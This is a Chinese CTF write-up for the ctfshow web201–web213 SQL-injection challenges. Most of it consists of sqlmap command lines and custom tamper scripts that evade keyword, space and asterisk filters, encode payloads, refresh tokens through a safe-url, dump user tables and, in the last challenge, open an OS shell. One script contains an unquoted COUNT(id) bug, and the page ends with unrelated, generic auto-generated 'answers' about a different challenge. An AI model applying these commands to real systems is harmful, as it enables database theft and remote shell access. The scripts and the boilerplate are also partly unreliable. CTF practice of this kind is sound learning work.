ctfshow(web201-web213)

目录

web201 

web202

web203

web204

web205

web206

web207

web208

web209

web210

web211

web212

web213


系统练习salmap使用


web201 

正常抓包试一下 

报错原因 不使用sqlmap是没有灵魂的(json解码 浏览器方式也行)

题目提示 指定user-agent 我们修改user-agent为sqlmap

成功 但是这个提示说指定referer 我没搞懂什么意思 已经成功了  可能是如果需要对referer进行判断的时候 我们需要对referer进行修改 最后发现判断注入点的时候 不需要指定referer 但是进行注入的时候 必须指定referer为ctf.show 这个ctf.show字符串如果抓包是找不到提示的 必须在原浏览器进行一步一步测试 

sqlmap注入

python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" --dbs
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

web202

提示 就是将get方式改为post方式 --data就是请求体的数据

python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer=ctf.show 
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" --dbs 
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

web203

提示要用--method改变请求方式,这里使用PUT请求,但是要记得加上设置Content-Type头,否则会变成表单提交:

切记要加上index.php 否则不好使

python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show 
python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" --dbs 
python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

web204

这个cookie卡了很久 页面刷新会更新cookie 所以页面不要动

我用的是这里的cookie 不对 这里的sessid可以使用

正确的cookie在这里

并且两个cookie都需要传参 

 python .\sqlmap.py -u "http://20815594-bf49-434d-81ff-27084740e293.challenge.ctf.show/api/index.php" --data "id=1" --method=PUT --header="Content-Type:text/plain" --cookie="PHPSESSID=gsalkdjo8546dqc4dhoqt1bc7u; ctfshow=161f311aae7f4a6afff53434bdcb956d" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

web205

先看一下cookie

抓包 估计这就是鉴权的意思 先访问一个指定页面传入cookie 然后才进行传值

--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置几次访问一次鉴权页面
python sqlmap.py -u "http://a1e31d07-94cb-4dd1-9410-035bd768cf3c.challenge.ctf.show/api/index.php" --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://a1e31d07-94cb-4dd1-9410-035bd768cf3c.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump --batch

web206

这道题 sql语句没有闭合 但是sqlmap会自动处理的 不影响我们

这里我测试 不使用cookie也可以 但是必须要有访问鉴权的页面的操作 我查看鉴权页面也需要传入cookie 但是脚本不需要cookie也可以 

我是这么理解的 上一题中 api页面会检查cookie 所以必须传入cookie 鉴权页面不需要cookie 但是必须要访问鉴权页面 要有这个过程 这道题api页面不需要cookie 

正常脚本

python .\sqlmap.py -u http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" -D ctfshow_web -T ctfshow_flaxc --dump

加上多余的操作 就是闭合sql语句

python .\sqlmap.py -u http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" --prefix="')" --suffix="#" -D ctfshow_web -T ctfshow_flaxc --dump

web207

对传入的参数开始过滤了,使用tamper应对。
这一题过滤了空格,可以使用注释进行绕过,使用sqlmap自带的space2comment.py进行绕过:

cookie无关紧要上一关我说了原因

 python .\sqlmap.py -u http://c6dce674-f235-4dd2-ac96-0edffefe4bf9.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://c6dce674-f235-4dd2-ac96-0edffefe4bf9.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" --prefix="')" --suffix="#" --tamper space2comment.py -D ctfshow_web -T ctfshow_flaxca --dump

web208

对小写的select和空格进行了绕过,不过sqlmap中的select都是大写的,所以和上一题一样即可:

 python .\sqlmap.py -u http://4277d88c-cc2d-4da1-b38f-698c23e43993.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://4277d88c-cc2d-4da1-b38f-698c23e43993.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" --prefix="')" --suffix="#" --tamper space2comment.py -D ctfshow_web -T ctfshow_flaxca --dump

为了学习编写sqlmap的插件 把SELECT 替换成seselectlect

脚本

#!/usr/bin/env python
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def tamper(payload, **kwargs):

    if payload:
        payload = payload.replace("SELECT", "select")#就修改这一行了
    return payload

exp

 python .\sqlmap.py -u http://4277d88c-cc2d-4da1-b38f-698c23e43993.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://4277d88c-cc2d-4da1-b38f-698c23e43993.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" --prefix="')" --suffix="#" --tamper space2comment.py,bigsmalldouble.py -D ctfshow_web -T ctfshow_flaxca --dump -v 6

web209

单引号也被过滤了 以及*号 还有=号 不过select 并且sql语句没有了()

过滤了空格,*号和等号,使用%09绕过空格,使用like绕过等号,基于此改一下tamper即可

不用之前的脚本了  之前是把空格替换成/**/ 但是*被禁用了

sqlmap自定义 脚本

注意 在python中 尽量不要使用%2A了 就是用char(0x2A)  %在python中有别的意思

#!/usr/bin/env python
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def tamper(payload, **kwargs):

    if payload:
        payload = payload.replace("*", chr(0x2A))
        payload = payload.replace(" ",chr(0x0a))
        payload = payload.replace("=",chr(0x0a)+"like"+chr(0x0a))
    return payload

exp

python .\sqlmap.py -u http://f8d58395-ce78-4788-a2ba-a38f30b6876d.challenge.ctf.show/api/index.php --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://f8d58395-ce78-4788-a2ba-a38f30b6876d.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=d16k1cskngbt95g7tv53q70tc4" --tamper 209.py -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump --batch

web210

对查询的id位置进行解密

可算明白了 就是对传入的id 进行解密处理 从而让sql语句无法执行成功  

我们按照他的方式 反着构造一个加密脚本 这样传进去后 服务器对id进行一系列操作就变成了 我们想到的id的值了

加密脚本


web211

过滤了 在web210的基础上过滤了空格 将空格替换成%0a

脚本

#!/usr/bin/env python
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.HIGHEST
def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        retVal = retVal.replace(" ", chr(0x0a))
        retVal = retVal.encode()#加密
        retVal = retVal[::-1]#反转
        retVal = base64.b64encode(retVal)
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal)
        retVal = retVal.decode()
    return retVal

exp

python .\sqlmap.py -u http://d2e3106c-45b9-46c8-b332-22ec0c0daeca.challenge.ctf.show/api/index.php --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://d2e3106c-45b9-46c8-b332-22ec0c0daeca.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=d16k1cskngbt95g7tv53q70tc4" --tamper 211.py -D ctfshow_web -T ctfshow_flav -T ctfshow_flavi -C ctfshow_flagxx --dump

得出flag


web212

*号也被过滤了 上一个脚本 按理说是无影响的 但是就怕payload使用到了*号 还是把*号替换一下

脚本

#!/usr/bin/env python
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.HIGHEST
def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        retVal = retVal.replace(" ", chr(0x0a))
#这里要注意 本来我就想把*替换成chr(0x2A) 但是不可以 以后的做法就是 使用-v -6查看详细信息 观察 哪些语句使用了*号 把整个语句换成比别的 例如下面的
        retVal = retVal.replace("COUNT(*)", COUNT(id))
        retVal = retVal.encode()#加密
        retVal = retVal[::-1]#反转
        retVal = base64.b64encode(retVal)
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal)
        retVal = retVal.decode()

    return retVal

exp

python .\sqlmap.py -u http://48aa715c-dd6b-407c-86f1-d4c40f0d8562.challenge.ctf.show/api/index.php --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://48aa715c-dd6b-407c-86f1-d4c40f0d8562.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=d16k1cskngbt95g7tv53q70tc4" --tamper 212.py -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa --dump

web213

一键getshell

使用刚刚脚本就行

他给出的payload 不需要替换* 0x0a 不可以就换成0x09 0a是换行 -- -中间的空格如果换成换行那就失去注释的意义

#!/usr/bin/env python
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.HIGHEST
def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        retVal = retVal.replace(" ", chr(0x09))
        retVal = retVal.encode()#加密
        retVal = retVal[::-1]#反转
        retVal = base64.b64encode(retVal)
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal)
        retVal = retVal.decode()

    return retVal
python .\sqlmap.py -u http://56482765-334e-4108-8645-1a1fb904e475.challenge.ctf.show/api/index.php --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://56482765-334e-4108-8645-1a1fb904e475.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=d16k1cskngbt95g7tv53q70tc4" --tamper 213.py -D ctfshow_web --os-shell

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
### 回答1: ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站,要求我们通过安全漏洞来获得网站的红包。 首先,我们可以检查网站的源代码,寻找可能存在的漏洞。在网站的前端页面中,我们注意到了一个提交订单的功能,并且发现了其中一个参数可以被用户任意修改。这可能导致一个被称为SQL注入的漏洞。 我们试图通过在参数中插入恶意代码来进行SQL注入攻击。我们发现当我们输入`' or 1=1 -- `时,查询结果会返回所有订单记录,而不仅仅是当前用户的订单。这表明成功利用了SQL注入漏洞。 接下来,我们要尝试进一步利用这个漏洞来获取网站的红包。我们可以通过构建特制的SQL语句来绕过登录过程,直接获取红包的信息。 最终,我们成功地利用了网站存在的漏洞,获取到了红包的相关信息。这个过程展示了在网络安全竞赛中,如何通过分析代码和利用漏洞来实现攻击的目标。 在这个过程中,我们需要具备对SQL注入漏洞的理解和掌握,并且需要有一定的编程和网络安全知识。通过解决这样的题目,我们可以提高我们对网络安全攻防的认识和技能,以更好地保护网络安全。 ### 回答2: ctfshow-web-web红包题是一个CTF(Capture the Flag)比赛中的Web题目,目标是通过分析Web应用程序的漏洞来获取红包。CTF比赛是一种网络安全竞赛,在这种比赛中,参赛者需要通过解决各种不同类型的安全挑战来积分。 该题目中的Web应用程序可能存在一些漏洞,我们需要通过分析源代码、网络请求和服务器响应等信息来找到红包的位置和获取红包的方法。 首先,我们可以查看网页源代码,寻找可能的注入点、敏感信息或其他漏洞。同时,我们还可以使用开发者工具中的网络分析功能来查看浏览器和服务器之间的通信内容,找到可能存在的漏洞、密钥或其他敏感信息。 其次,我们可以进行输入测试,尝试不同的输入来检查是否存在注入漏洞、文件包含漏洞、路径遍历漏洞等。通过测试和观察响应结果,我们可以得到一些重要的信息和线索。 最后,我们可以分析服务器响应和错误信息,查找可能存在的网站配置错误、逻辑漏洞或其它任何可以利用的安全问题。此外,我们还可以使用常见的Web漏洞扫描工具,如Burp Suite、OWASP ZAP等,来辅助我们发现潜在的漏洞。 通过以上的分析和测试,我们有可能找到获取红包的方法。然而,具体的解题方法还需要根据题目中的具体情况来确定。在CTF比赛中,每个题目的设置都可能不同,解题的方法和思路也会有所差异。因此,在解题过程中,要保持敏锐的观察力和灵活的思维,尝试不同的方法和技巧,才能成功获取红包并完成任务。 ### 回答3: ctfshow-web-web红包题是一个CTF比赛中的网络题目,其目标是寻找并利用网页内的漏洞,获取红包。 首先,我们需要分析该网页的源代码,寻找可能存在的漏洞。可以通过审查元素、浏览器开发者工具等方式进行源代码分析。 其中,可能存在的漏洞包括但不限于: 1. 文件路径遍历漏洞:通过对URL的参数进行修改,尝试访问其他目录中的文件。 2. XSS漏洞:通过在用户输入的地方注入恶意代码,实现攻击者想要的操作。 3. SQL注入漏洞:通过修改数据库查询参数,获取未授权的数据。 4. 文件上传漏洞:上传恶意文件并执行。 一旦发现漏洞,我们需要进一步利用它们来获取红包。例如,如果存在文件路径遍历漏洞,我们可以尝试通过修改URL参数的方式,访问网站服务器上存放红包的文件目录,获取目录中的文件。 如果存在XSS漏洞,我们可以尝试在用户输入的地方注入一段JavaScript代码,以获取网页中的敏感信息或执行一些恶意操作,如窃取cookies。 如果存在SQL注入漏洞,我们可以尝试通过修改数据库查询参数,获取未授权的数据,如红包的具体位置或密码。 如果存在文件上传漏洞,我们可以尝试上传一个特殊设计的恶意文件,以执行任意命令或获取服务器上的文件。 综上所述,ctfshow-web-web红包题需要我们深入分析网页代码,发现可能存在的漏洞,并利用这些漏洞获取红包。这个过程需要我们对常见的漏洞类型有一定的了解,并具备相关的漏洞利用技术。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hello-smile

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值